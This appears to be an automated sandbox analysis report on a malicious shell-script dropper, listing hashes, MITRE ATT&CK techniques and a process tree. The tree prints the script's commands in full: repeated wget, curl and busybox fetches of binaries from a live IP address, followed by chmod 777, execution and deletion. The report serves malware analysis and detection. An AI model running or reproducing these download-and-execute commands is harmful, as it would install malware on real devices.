Analysis
-
max time kernel
27s -
max time network
28s -
platform
debian-9_armhf -
resource
debian9-armhf-20240418-en -
resource tags
arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem -
submitted
21-11-2024 08:32
Static task
static1
Behavioral task
behavioral1
Sample
cf96cf96c66ebd8661203d14b1a005accb5a1be456552d9e407e067a16981947.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
cf96cf96c66ebd8661203d14b1a005accb5a1be456552d9e407e067a16981947.sh
Resource
debian9-armhf-20240418-en
Behavioral task
behavioral3
Sample
cf96cf96c66ebd8661203d14b1a005accb5a1be456552d9e407e067a16981947.sh
Resource
debian9-mipsbe-20240729-en
Behavioral task
behavioral4
Sample
cf96cf96c66ebd8661203d14b1a005accb5a1be456552d9e407e067a16981947.sh
Resource
debian9-mipsel-20240226-en
General
-
Target
cf96cf96c66ebd8661203d14b1a005accb5a1be456552d9e407e067a16981947.sh
-
Size
10KB
-
MD5
6455d6e588df96170309a55c34f9a5fb
-
SHA1
285a51c3374e49307c0244a46a13fc489d56f340
-
SHA256
cf96cf96c66ebd8661203d14b1a005accb5a1be456552d9e407e067a16981947
-
SHA512
eb65d310ae1cbd98fdd88181db8f2667ca296ec34b9187118dbd0d1fb891280c433137d14b63d8876d7c6c35ef14a0eb9501cff9662900ad6bedec1fbda8f053
-
SSDEEP
96:wJqoEYYsFnB9q0XXYQIFxDuu5TWtDxeWusXYQIFxlWQuu5TWtDVnp0vvaR0oEuuZ:wJlYsFnBHcuuEtDMRuuEtD/CN3
Malware Config
Signatures
-
File and Directory Permissions Modification 1 TTPs 18 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 678 chmod 831 chmod 849 chmod 781 chmod 813 chmod 837 chmod 710 chmod 769 chmod 787 chmod 793 chmod 819 chmod 733 chmod 775 chmod 799 chmod 807 chmod 825 chmod 843 chmod 857 chmod -
Executes dropped EXE 18 IoCs
ioc pid Process /tmp/1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls 680 1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls /tmp/tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs 711 tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs /tmp/B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs 734 B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs /tmp/ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G 770 ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G /tmp/zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb 776 zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb /tmp/p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe 782 p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe /tmp/UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm 788 UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm /tmp/3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns6 794 3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns6 /tmp/nCucIrzHaAbO3wxaMfCyL98wydNfGmKFQc 800 nCucIrzHaAbO3wxaMfCyL98wydNfGmKFQc /tmp/C9Bqa0JTEoCtvWndyFctHZ4YlCPBedVKhD 808 C9Bqa0JTEoCtvWndyFctHZ4YlCPBedVKhD /tmp/6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn 814 6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn /tmp/L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM 820 L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM /tmp/Y4d9Rc02s5S1TC5d0xe1Z53jmgYfWaLG3z 826 Y4d9Rc02s5S1TC5d0xe1Z53jmgYfWaLG3z /tmp/TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ 832 TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ /tmp/UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm 838 UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm /tmp/3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns6 844 3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns6 /tmp/6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn 850 6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn /tmp/L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM 858 L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM -
Checks CPU configuration 1 TTPs 18 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl -
description ioc Process File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl -
System Network Configuration Discovery 1 TTPs 15 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 833 rm 816 wget 820 L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM 830 busybox 854 busybox 817 curl 821 rm 832 TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ 829 curl 853 curl 858 L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM 859 rm 818 busybox 828 wget 852 wget -
Writes file to tmp directory 18 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs curl File opened for modification /tmp/p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe curl File opened for modification /tmp/UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm curl File opened for modification /tmp/C9Bqa0JTEoCtvWndyFctHZ4YlCPBedVKhD curl File opened for modification /tmp/L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM curl File opened for modification /tmp/tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs curl File opened for modification /tmp/zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb curl File opened for modification /tmp/6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn curl File opened for modification /tmp/Y4d9Rc02s5S1TC5d0xe1Z53jmgYfWaLG3z curl File opened for modification /tmp/TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ curl File opened for modification /tmp/6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn curl File opened for modification /tmp/1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls curl File opened for modification /tmp/ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G curl File opened for modification /tmp/nCucIrzHaAbO3wxaMfCyL98wydNfGmKFQc curl File opened for modification /tmp/L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM curl File opened for modification /tmp/3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns6 curl File opened for modification /tmp/3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns6 curl File opened for modification /tmp/UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm curl
Processes
-
/tmp/cf96cf96c66ebd8661203d14b1a005accb5a1be456552d9e407e067a16981947.sh/tmp/cf96cf96c66ebd8661203d14b1a005accb5a1be456552d9e407e067a16981947.sh1⤵PID:643
-
/bin/rm/bin/rm bins.sh2⤵PID:645
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls2⤵PID:650
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:669
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls2⤵PID:675
-
-
/bin/chmodchmod 777 1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls2⤵
- File and Directory Permissions Modification
PID:678
-
-
/tmp/1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls./1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls2⤵
- Executes dropped EXE
PID:680
-
-
/bin/rmrm 1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls2⤵PID:681
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs2⤵PID:683
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:695
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs2⤵PID:703
-
-
/bin/chmodchmod 777 tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs2⤵
- File and Directory Permissions Modification
PID:710
-
-
/tmp/tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs./tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs2⤵
- Executes dropped EXE
PID:711
-
-
/bin/rmrm tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs2⤵PID:712
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs2⤵PID:713
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:729
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs2⤵PID:732
-
-
/bin/chmodchmod 777 B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs2⤵
- File and Directory Permissions Modification
PID:733
-
-
/tmp/B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs./B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs2⤵
- Executes dropped EXE
PID:734
-
-
/bin/rmrm B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs2⤵PID:735
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G2⤵PID:736
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:745
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G2⤵PID:753
-
-
/bin/chmodchmod 777 ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G2⤵
- File and Directory Permissions Modification
PID:769
-
-
/tmp/ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G./ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G2⤵
- Executes dropped EXE
PID:770
-
-
/bin/rmrm ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G2⤵PID:771
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb2⤵PID:772
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:773
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb2⤵PID:774
-
-
/bin/chmodchmod 777 zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb2⤵
- File and Directory Permissions Modification
PID:775
-
-
/tmp/zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb./zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb2⤵
- Executes dropped EXE
PID:776
-
-
/bin/rmrm zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb2⤵PID:777
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe2⤵PID:778
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:779
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe2⤵PID:780
-
-
/bin/chmodchmod 777 p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe2⤵
- File and Directory Permissions Modification
PID:781
-
-
/tmp/p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe./p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe2⤵
- Executes dropped EXE
PID:782
-
-
/bin/rmrm p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe2⤵PID:783
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm2⤵PID:784
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:785
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm2⤵PID:786
-
-
/bin/chmodchmod 777 UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm2⤵
- File and Directory Permissions Modification
PID:787
-
-
/tmp/UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm./UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm2⤵
- Executes dropped EXE
PID:788
-
-
/bin/rmrm UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm2⤵PID:789
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns62⤵PID:790
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns62⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:791
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns62⤵PID:792
-
-
/bin/chmodchmod 777 3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns62⤵
- File and Directory Permissions Modification
PID:793
-
-
/tmp/3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns6./3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns62⤵
- Executes dropped EXE
PID:794
-
-
/bin/rmrm 3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns62⤵PID:795
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/nCucIrzHaAbO3wxaMfCyL98wydNfGmKFQc2⤵PID:796
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/nCucIrzHaAbO3wxaMfCyL98wydNfGmKFQc2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:797
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/nCucIrzHaAbO3wxaMfCyL98wydNfGmKFQc2⤵PID:798
-
-
/bin/chmodchmod 777 nCucIrzHaAbO3wxaMfCyL98wydNfGmKFQc2⤵
- File and Directory Permissions Modification
PID:799
-
-
/tmp/nCucIrzHaAbO3wxaMfCyL98wydNfGmKFQc./nCucIrzHaAbO3wxaMfCyL98wydNfGmKFQc2⤵
- Executes dropped EXE
PID:800
-
-
/bin/rmrm nCucIrzHaAbO3wxaMfCyL98wydNfGmKFQc2⤵PID:801
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/C9Bqa0JTEoCtvWndyFctHZ4YlCPBedVKhD2⤵PID:802
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/C9Bqa0JTEoCtvWndyFctHZ4YlCPBedVKhD2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:803
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/C9Bqa0JTEoCtvWndyFctHZ4YlCPBedVKhD2⤵PID:805
-
-
/bin/chmodchmod 777 C9Bqa0JTEoCtvWndyFctHZ4YlCPBedVKhD2⤵
- File and Directory Permissions Modification
PID:807
-
-
/tmp/C9Bqa0JTEoCtvWndyFctHZ4YlCPBedVKhD./C9Bqa0JTEoCtvWndyFctHZ4YlCPBedVKhD2⤵
- Executes dropped EXE
PID:808
-
-
/bin/rmrm C9Bqa0JTEoCtvWndyFctHZ4YlCPBedVKhD2⤵PID:809
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn2⤵PID:810
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:811
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn2⤵PID:812
-
-
/bin/chmodchmod 777 6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn2⤵
- File and Directory Permissions Modification
PID:813
-
-
/tmp/6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn./6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn2⤵
- Executes dropped EXE
PID:814
-
-
/bin/rmrm 6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn2⤵PID:815
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM2⤵
- System Network Configuration Discovery
PID:816
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM2⤵
- Checks CPU configuration
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:817
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM2⤵
- System Network Configuration Discovery
PID:818
-
-
/bin/chmodchmod 777 L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM2⤵
- File and Directory Permissions Modification
PID:819
-
-
/tmp/L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM./L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM2⤵
- Executes dropped EXE
- System Network Configuration Discovery
PID:820
-
-
/bin/rmrm L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM2⤵
- System Network Configuration Discovery
PID:821
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/Y4d9Rc02s5S1TC5d0xe1Z53jmgYfWaLG3z2⤵PID:822
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/Y4d9Rc02s5S1TC5d0xe1Z53jmgYfWaLG3z2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:823
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/Y4d9Rc02s5S1TC5d0xe1Z53jmgYfWaLG3z2⤵PID:824
-
-
/bin/chmodchmod 777 Y4d9Rc02s5S1TC5d0xe1Z53jmgYfWaLG3z2⤵
- File and Directory Permissions Modification
PID:825
-
-
/tmp/Y4d9Rc02s5S1TC5d0xe1Z53jmgYfWaLG3z./Y4d9Rc02s5S1TC5d0xe1Z53jmgYfWaLG3z2⤵
- Executes dropped EXE
PID:826
-
-
/bin/rmrm Y4d9Rc02s5S1TC5d0xe1Z53jmgYfWaLG3z2⤵PID:827
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ2⤵
- System Network Configuration Discovery
PID:828
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ2⤵
- Checks CPU configuration
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:829
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ2⤵
- System Network Configuration Discovery
PID:830
-
-
/bin/chmodchmod 777 TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ2⤵
- File and Directory Permissions Modification
PID:831
-
-
/tmp/TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ./TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ2⤵
- Executes dropped EXE
- System Network Configuration Discovery
PID:832
-
-
/bin/rmrm TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ2⤵
- System Network Configuration Discovery
PID:833
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm2⤵PID:834
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:835
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm2⤵PID:836
-
-
/bin/chmodchmod 777 UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm2⤵
- File and Directory Permissions Modification
PID:837
-
-
/tmp/UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm./UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm2⤵
- Executes dropped EXE
PID:838
-
-
/bin/rmrm UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm2⤵PID:839
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns62⤵PID:840
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns62⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:841
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns62⤵PID:842
-
-
/bin/chmodchmod 777 3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns62⤵
- File and Directory Permissions Modification
PID:843
-
-
/tmp/3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns6./3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns62⤵
- Executes dropped EXE
PID:844
-
-
/bin/rmrm 3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns62⤵PID:845
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn2⤵PID:846
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:847
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn2⤵PID:848
-
-
/bin/chmodchmod 777 6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn2⤵
- File and Directory Permissions Modification
PID:849
-
-
/tmp/6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn./6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn2⤵
- Executes dropped EXE
PID:850
-
-
/bin/rmrm 6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn2⤵PID:851
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM2⤵
- System Network Configuration Discovery
PID:852
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM2⤵
- Checks CPU configuration
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:853
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM2⤵
- System Network Configuration Discovery
PID:854
-
-
/bin/chmodchmod 777 L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM2⤵
- File and Directory Permissions Modification
PID:857
-
-
/tmp/L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM./L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM2⤵
- Executes dropped EXE
- System Network Configuration Discovery
PID:858
-
-
/bin/rmrm L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM2⤵
- System Network Configuration Discovery
PID:859
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/Y4d9Rc02s5S1TC5d0xe1Z53jmgYfWaLG3z2⤵PID:860
-
Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
153B
MD5998368d7c95ea4293237f2320546e440
SHA130dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA256533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
SHA512648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97